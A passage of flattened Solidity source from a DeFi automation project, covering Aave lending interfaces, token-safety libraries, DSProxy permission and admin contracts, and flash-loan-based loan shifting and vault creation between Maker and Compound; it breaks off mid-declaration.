uint16 _referralCode) external virtual payable; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual; function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable; function swapBorrowRateMode(address _reserve) external virtual; function getReserves() external virtual view returns(address[] memory); /// @param _reserve underlying token address function getReserveData(address _reserve) external virtual view returns ( uint256 totalLiquidity, // reserve total liquidity uint256 availableLiquidity, // reserve available liquidity for borrowing uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units. uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units. uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units. uint256 averageStableBorrowRate, // current average stable borrow rate uint256 utilizationRate, // expressed as total borrows/total liquidity. uint256 liquidityIndex, // cumulative liquidity index uint256 variableBorrowIndex, // cumulative variable borrow index address aTokenAddress, // aTokens contract address for the specific _reserve uint40 lastUpdateTimestamp // timestamp of the last update of reserve data ); /// @param _user users address function getUserAccountData(address _user) external virtual view returns ( uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei uint256 availableBorrowsETH, // user available amount to borrow in ETH uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited uint256 ltv, // user average Loan-to-Value between all the collaterals uint256 healthFactor // user current Health Factor ); /// @param _reserve underlying token address /// @param _user users address function getUserReserveData(address _reserve, address _user) external virtual view returns ( uint256 currentATokenBalance, // user current reserve aToken balance uint256 currentBorrowBalance, // user current reserve outstanding borrow balance uint256 principalBorrowBalance, // user balance of borrowed asset uint256 borrowRateMode, // user borrow rate mode either Stable or Variable uint256 borrowRate, // user current borrow rate APY uint256 liquidityRate, // user current earn rate on _reserve uint256 originationFee, // user outstanding loan origination fee uint256 variableBorrowIndex, // user variable cumulative index uint256 lastUpdateTimestamp, // Timestamp of the last data update bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral ); function getReserveConfigurationData(address _reserve) external virtual view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address rateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); // ------------------ LendingPoolCoreData ------------------------ function getReserveATokenAddress(address _reserve) public virtual view returns (address); function getReserveConfiguration(address _reserve) external virtual view returns (uint256, uint256, uint256, bool); function getUserUnderlyingAssetBalance(address _reserve, address _user) public virtual view returns (uint256); function getReserveCurrentLiquidityRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentStableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveTotalLiquidity(address _reserve) public virtual view returns (uint256); function getReserveAvailableLiquidity(address _reserve) public virtual view returns (uint256); function getReserveTotalBorrowsVariable(address _reserve) public virtual view returns (uint256); function getReserveTotalBorrowsStable(address _reserve) public virtual view returns (uint256); // ---------------- LendingPoolDataProvider --------------------- function calculateUserGlobalData(address _user) public virtual view returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } pragma solidity ^0.6.0; /** @title ILendingPoolAddressesProvider interface @notice provides the interface to fetch the LendingPoolCore address */ abstract contract ILendingPoolAddressesProvider { function getLendingPool() public virtual view returns (address); function getLendingPoolCore() public virtual view returns (address payable); function getLendingPoolConfigurator() public virtual view returns (address); function getLendingPoolDataProvider() public virtual view returns (address); function getLendingPoolParametersProvider() public virtual view returns (address); function getTokenDistributor() public virtual view returns (address); function getFeeProvider() public virtual view returns (address); function getLendingPoolLiquidationManager() public virtual view returns (address); function getLendingPoolManager() public virtual view returns (address); function getPriceOracle() public virtual view returns (address); function getLendingRateOracle() public virtual view returns (address); } pragma solidity ^0.6.0; import "../interfaces/ERC20.sol"; import "./Address.sol"; import "./SafeMath.sol"; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.6.0; import "./ERC20.sol"; abstract contract GasTokenInterface is ERC20 { function free(uint256 value) public virtual returns (bool success); function freeUpTo(uint256 value) public virtual returns (uint256 freed); function freeFrom(address from, uint256 value) public virtual returns (bool success); function freeFromUpTo(address from, uint256 value) public virtual returns (uint256 freed); } pragma solidity ^0.6.0; interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } pragma solidity ^0.6.0; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; import "../interfaces/DSProxyInterface.sol"; import "./SafeERC20.sol"; /// @title Pulls a specified amount of tokens from the EOA owner account to the proxy contract PullTokensProxy { using SafeERC20 for ERC20; /// @notice Pulls a token from the proxyOwner -> proxy /// @dev Proxy owner must first give approve to the proxy address /// @param _tokenAddr Address of the ERC20 token /// @param _amount Amount of tokens which will be transfered to the proxy function pullTokens(address _tokenAddr, uint _amount) public { address proxyOwner = DSProxyInterface(address(this)).owner(); ERC20(_tokenAddr).safeTransferFrom(proxyOwner, address(this), _amount); } } pragma solidity ^0.6.0; abstract contract DSProxyInterface { /// Truffle wont compile if this isn't commented // function execute(bytes memory _code, bytes memory _data) // public virtual // payable // returns (address, bytes32); function execute(address _target, bytes memory _data) public virtual payable returns (bytes32); function setCache(address _cacheAddr) public virtual payable returns (bool); function owner() public virtual returns (address); } pragma solidity ^0.6.0; import "../auth/Auth.sol"; import "../interfaces/DSProxyInterface.sol"; // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DFSProxy is Auth { string public constant NAME = "DFSProxy"; string public constant VERSION = "v0.1"; mapping(address => mapping(uint => bool)) public nonces; // --- EIP712 niceties --- bytes32 public DOMAIN_SEPARATOR; bytes32 public constant PERMIT_TYPEHASH = keccak256("callProxy(address _user,address _proxy,address _contract,bytes _txData,uint256 _nonce)"); constructor(uint256 chainId_) public { DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(NAME)), keccak256(bytes(VERSION)), chainId_, address(this) )); } function callProxy(address _user, address _proxy, address _contract, bytes calldata _txData, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) external payable onlyAuthorized { bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, _user, _proxy, _contract, _txData, _nonce)) )); // user must be proxy owner require(DSProxyInterface(_proxy).owner() == _user); require(_user == ecrecover(digest, _v, _r, _s), "DFSProxy/user-not-valid"); require(!nonces[_user][_nonce], "DFSProxy/invalid-nonce"); nonces[_user][_nonce] = true; DSProxyInterface(_proxy).execute{value: msg.value}(_contract, _txData); } } pragma solidity ^0.6.0; import "./AdminAuth.sol"; contract Auth is AdminAuth { bool public ALL_AUTHORIZED = false; mapping(address => bool) public authorized; modifier onlyAuthorized() { require(ALL_AUTHORIZED || authorized[msg.sender]); _; } constructor() public { authorized[msg.sender] = true; } function setAuthorized(address _user, bool _approved) public onlyOwner { authorized[_user] = _approved; } function setAllAuthorized(bool _authorized) public onlyOwner { ALL_AUTHORIZED = _authorized; } } pragma solidity ^0.6.0; import "../utils/SafeERC20.sol"; contract AdminAuth { using SafeERC20 for ERC20; address public owner; address public admin; modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmin() { require(admin == msg.sender); _; } constructor() public { owner = msg.sender; admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; } /// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner /// @param _admin Address of multisig that becomes admin function setAdminByOwner(address _admin) public { require(msg.sender == owner); require(admin == address(0)); admin = _admin; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function setAdminByAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function setOwnerByAdmin(address _owner) public { require(msg.sender == admin); owner = _owner; } /// @notice Destroy the contract function kill() public onlyOwner { selfdestruct(payable(owner)); } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, uint _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(owner).transfer(_amount); } else { ERC20(_token).safeTransfer(owner, _amount); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../interfaces/ILendingPool.sol"; import "../interfaces/CTokenInterface.sol"; import "../interfaces/ILoanShifter.sol"; import "../interfaces/DSProxyInterface.sol"; import "../interfaces/Vat.sol"; import "../interfaces/Manager.sol"; import "../interfaces/IMCDSubscriptions.sol"; import "../interfaces/ICompoundSubscriptions.sol"; import "../auth/AdminAuth.sol"; import "../auth/ProxyPermission.sol"; import "../exchangeV3/DFSExchangeData.sol"; import "./ShifterRegistry.sol"; import "../utils/GasBurner.sol"; import "../loggers/DefisaverLogger.sol"; /// @title LoanShifterTaker Entry point for using the shifting operation contract LoanShifterTaker is AdminAuth, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant MCD_SUB_ADDRESS = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a; address public constant COMPOUND_SUB_ADDRESS = 0x52015EFFD577E08f498a0CCc11905925D58D6207; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; Manager public constant manager = Manager(MANAGER_ADDRESS); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x597C52281b31B9d949a9D8fEbA08F7A2530a965e); enum Protocols { MCD, COMPOUND } enum SwapType { NO_SWAP, COLL_SWAP, DEBT_SWAP } enum Unsub { NO_UNSUB, FIRST_UNSUB, SECOND_UNSUB, BOTH_UNSUB } struct LoanShiftData { Protocols fromProtocol; Protocols toProtocol; SwapType swapType; Unsub unsub; bool wholeDebt; uint collAmount; uint debtAmount; address debtAddr1; address debtAddr2; address addrLoan1; address addrLoan2; uint id1; uint id2; } /// @notice Main entry point, it will move or transform a loan /// @dev Called through DSProxy function moveLoan( DFSExchangeData.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) public payable burnGas(20) { if (_isSameTypeVaults(_loanShift)) { _forkVault(_loanShift); logEvent(_exchangeData, _loanShift); return; } _callCloseAndOpen(_exchangeData, _loanShift); } //////////////////////// INTERNAL FUNCTIONS ////////////////////////// function _callCloseAndOpen( DFSExchangeData.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) internal { address protoAddr = shifterRegistry.getAddr(getNameByProtocol(uint8(_loanShift.fromProtocol))); if (_loanShift.wholeDebt) { _loanShift.debtAmount = ILoanShifter(protoAddr).getLoanAmount(_loanShift.id1, _loanShift.debtAddr1); } // encode data bytes memory paramsData = abi.encode(_loanShift, _exchangeData, address(this)); address payable loanShifterReceiverAddr = payable(shifterRegistry.getAddr("LOAN_SHIFTER_RECEIVER")); loanShifterReceiverAddr.transfer(address(this).balance); // call FL givePermission(loanShifterReceiverAddr); lendingPool.flashLoan(loanShifterReceiverAddr, getLoanAddr(_loanShift.debtAddr1, _loanShift.fromProtocol), _loanShift.debtAmount, paramsData); removePermission(loanShifterReceiverAddr); unsubFromAutomation( _loanShift.unsub, _loanShift.id1, _loanShift.id2, _loanShift.fromProtocol, _loanShift.toProtocol ); logEvent(_exchangeData, _loanShift); } function _forkVault(LoanShiftData memory _loanShift) internal { // Create new Vault to move to if (_loanShift.id2 == 0) { _loanShift.id2 = manager.open(manager.ilks(_loanShift.id1), address(this)); } if (_loanShift.wholeDebt) { manager.shift(_loanShift.id1, _loanShift.id2); } } function _isSameTypeVaults(LoanShiftData memory _loanShift) internal pure returns (bool) { return _loanShift.fromProtocol == Protocols.MCD && _loanShift.toProtocol == Protocols.MCD && _loanShift.addrLoan1 == _loanShift.addrLoan2; } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } function getLoanAddr(address _address, Protocols _fromProtocol) internal returns (address) { if (_fromProtocol == Protocols.COMPOUND) { return getUnderlyingAddr(_address); } else if (_fromProtocol == Protocols.MCD) { return DAI_ADDRESS; } else { return address(0); } } function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } function logEvent( DFSExchangeData.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) internal { address srcAddr = _exchangeData.srcAddr; address destAddr = _exchangeData.destAddr; uint collAmount = _exchangeData.srcAmount; uint debtAmount = _exchangeData.destAmount; if (_loanShift.swapType == SwapType.NO_SWAP) { srcAddr = _loanShift.addrLoan1; destAddr = _loanShift.debtAddr1; collAmount = _loanShift.collAmount; debtAmount = _loanShift.debtAmount; } DefisaverLogger(DEFISAVER_LOGGER) .Log(address(this), msg.sender, "LoanShifter", abi.encode( _loanShift.fromProtocol, _loanShift.toProtocol, _loanShift.swapType, srcAddr, destAddr, collAmount, debtAmount )); } function unsubFromAutomation(Unsub _unsub, uint _cdp1, uint _cdp2, Protocols _from, Protocols _to) internal { if (_unsub != Unsub.NO_UNSUB) { if (_unsub == Unsub.FIRST_UNSUB || _unsub == Unsub.BOTH_UNSUB) { unsubscribe(_cdp1, _from); } if (_unsub == Unsub.SECOND_UNSUB || _unsub == Unsub.BOTH_UNSUB) { unsubscribe(_cdp2, _to); } } } function unsubscribe(uint _cdpId, Protocols _protocol) internal { if (_cdpId != 0 && _protocol == Protocols.MCD) { IMCDSubscriptions(MCD_SUB_ADDRESS).unsubscribe(_cdpId); } if (_protocol == Protocols.COMPOUND) { ICompoundSubscriptions(COMPOUND_SUB_ADDRESS).unsubscribe(); } } } pragma solidity ^0.6.0; import "./ERC20.sol"; abstract contract CTokenInterface is ERC20 { function mint(uint256 mintAmount) external virtual returns (uint256); // function mint() external virtual payable; function accrueInterest() public virtual returns (uint); function redeem(uint256 redeemTokens) external virtual returns (uint256); function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256); function borrow(uint256 borrowAmount) external virtual returns (uint256); function borrowIndex() public view virtual returns (uint); function borrowBalanceStored(address) public view virtual returns(uint); function repayBorrow(uint256 repayAmount) external virtual returns (uint256); function repayBorrow() external virtual payable; function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256); function repayBorrowBehalf(address borrower) external virtual payable; function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external virtual returns (uint256); function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable; function exchangeRateCurrent() external virtual returns (uint256); function supplyRatePerBlock() external virtual returns (uint256); function borrowRatePerBlock() external virtual returns (uint256); function totalReserves() external virtual returns (uint256); function reserveFactorMantissa() external virtual returns (uint256); function borrowBalanceCurrent(address account) external virtual returns (uint256); function totalBorrowsCurrent() external virtual returns (uint256); function getCash() external virtual returns (uint256); function balanceOfUnderlying(address owner) external virtual returns (uint256); function underlying() external virtual returns (address); function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); } pragma solidity ^0.6.0; abstract contract ILoanShifter { function getLoanAmount(uint, address) public virtual returns (uint); function getUnderlyingAsset(address _addr) public view virtual returns (address); } pragma solidity ^0.6.0; abstract contract Vat { struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } mapping (bytes32 => mapping (address => Urn )) public urns; mapping (bytes32 => Ilk) public ilks; mapping (bytes32 => mapping (address => uint)) public gem; // [wad] function can(address, address) virtual public view returns (uint); function dai(address) virtual public view returns (uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; function fork(bytes32, address, address, int, int) virtual public; } pragma solidity ^0.6.0; abstract contract Manager { function last(address) virtual public returns (uint); function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } pragma solidity ^0.6.0; abstract contract IMCDSubscriptions { function unsubscribe(uint256 _cdpId) external virtual ; function subscribersPos(uint256 _cdpId) external virtual returns (uint256, bool); } pragma solidity ^0.6.0; abstract contract ICompoundSubscriptions { function unsubscribe() external virtual ; } pragma solidity ^0.6.0; import "../DS/DSGuard.sol"; import "../DS/DSAuth.sol"; contract ProxyPermission { address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; /// @notice Called in the context of DSProxy to authorize an address /// @param _contractAddr Address which will be authorized function givePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } /// @notice Called in the context of DSProxy to remove authority of an address /// @param _contractAddr Auth address which will be removed from authority list function removePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); // if there is no authority, that means that contract doesn't have permission if (currAuthority == address(0)) { return; } DSGuard guard = DSGuard(currAuthority); guard.forbid(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } function proxyOwner() internal returns(address) { return DSAuth(address(this)).owner(); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract DFSExchangeData { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct OffchainData { address wrapper; address exchangeAddr; address allowanceTarget; uint256 price; uint256 protocolFee; bytes callData; } struct ExchangeData { address srcAddr; address destAddr; uint256 srcAmount; uint256 destAmount; uint256 minPrice; uint256 dfsFeeDivider; // service fee divider address user; // user to check special fee address wrapper; bytes wrapperData; OffchainData offchainData; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { return abi.encode(_exData); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { _exData = abi.decode(_data, (ExchangeData)); } } pragma solidity ^0.6.0; import "../auth/AdminAuth.sol"; contract ShifterRegistry is AdminAuth { mapping (string => address) public contractAddresses; bool public finalized; function changeContractAddr(string memory _contractName, address _protoAddr) public onlyOwner { require(!finalized); contractAddresses[_contractName] = _protoAddr; } function lock() public onlyOwner { finalized = true; } function getAddr(string memory _contractName) public view returns (address contractAddr) { contractAddr = contractAddresses[_contractName]; require(contractAddr != address(0), "No contract address registred"); } } pragma solidity ^0.6.0; contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log(address _contract, address _caller, string memory _logName, bytes memory _data) public { emit LogEvent(_contract, _caller, _logName, _data); } } pragma solidity ^0.6.0; abstract contract DSGuard { function canCall(address src_, address dst_, bytes4 sig) public view virtual returns (bool); function permit(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function forbid(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function permit(address src, address dst, bytes32 sig) public virtual; function forbid(address src, address dst, bytes32 sig) public virtual; } abstract contract DSGuardFactory { function newGuard() public virtual returns (DSGuard guard); } pragma solidity ^0.6.0; import "./DSAuthority.sol"; contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } pragma solidity ^0.6.0; abstract contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../mcd/saver/MCDSaverProxy.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ILendingPool.sol"; import "../../exchangeV3/DFSExchangeData.sol"; import "../../utils/SafeERC20.sol"; import "../../utils/GasBurner.sol"; contract MCDCreateTaker is GasBurner { using SafeERC20 for ERC20; address payable public constant MCD_CREATE_FLASH_LOAN = 0x409F216aa8034a12135ab6b74Bf6444335004BBd; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); struct CreateData { uint collAmount; uint daiAmount; address joinAddr; } function openWithLoan( DFSExchangeData.ExchangeData memory _exchangeData, CreateData memory _createData ) public payable burnGas(20) { MCD_CREATE_FLASH_LOAN.transfer(msg.value); //0x fee if (!isEthJoinAddr(_createData.joinAddr)) { ERC20(getCollateralAddr(_createData.joinAddr)).safeTransferFrom(msg.sender, address(this), _createData.collAmount); ERC20(getCollateralAddr(_createData.joinAddr)).safeTransfer(MCD_CREATE_FLASH_LOAN, _createData.collAmount); } bytes memory packedData = _packData(_createData, _exchangeData); bytes memory paramsData = abi.encode(address(this), packedData); lendingPool.flashLoan(MCD_CREATE_FLASH_LOAN, DAI_ADDRESS, _createData.daiAmount, paramsData); logger.Log(address(this), msg.sender, "MCDCreate", abi.encode(manager.last(address(this)), _createData.collAmount, _createData.daiAmount)); } function getCollateralAddr(address _joinAddr) internal view returns (address) { return address(Join(_joinAddr).gem()); } /// @notice Checks if the join address is one of the Ether coll. types /// @param _joinAddr Join address to check function isEthJoinAddr(address _joinAddr) internal view returns (bool) { // if it's dai_join_addr don't check gem() it will fail if (_joinAddr == 0x9759A6Ac90977b93B58547b4A71c78317f391A28) return false; // if coll is weth it's and eth type coll if (address(Join(_joinAddr).gem()) == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) { return true; } return false; } function _packData( CreateData memory _createData, DFSExchangeData.ExchangeData memory _exchangeData ) internal pure returns (bytes memory) { return abi.encode(_createData, _exchangeData); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../loggers/DefisaverLogger.sol"; import "../../utils/Discount.sol"; import "../../interfaces/Spotter.sol"; import "../../interfaces/Jug.sol"; import "../../interfaces/DaiJoin.sol"; import "../../interfaces/Join.sol"; import "./MCDSaverProxyHelper.sol"; import "../../utils/BotRegistry.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; /// @title Implements Boost and Repay for MCD CDPs contract MCDSaverProxy is DFSExchangeCore, MCDSaverProxyHelper { uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee bytes32 public constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant DAI_JOIN_ADDRESS = 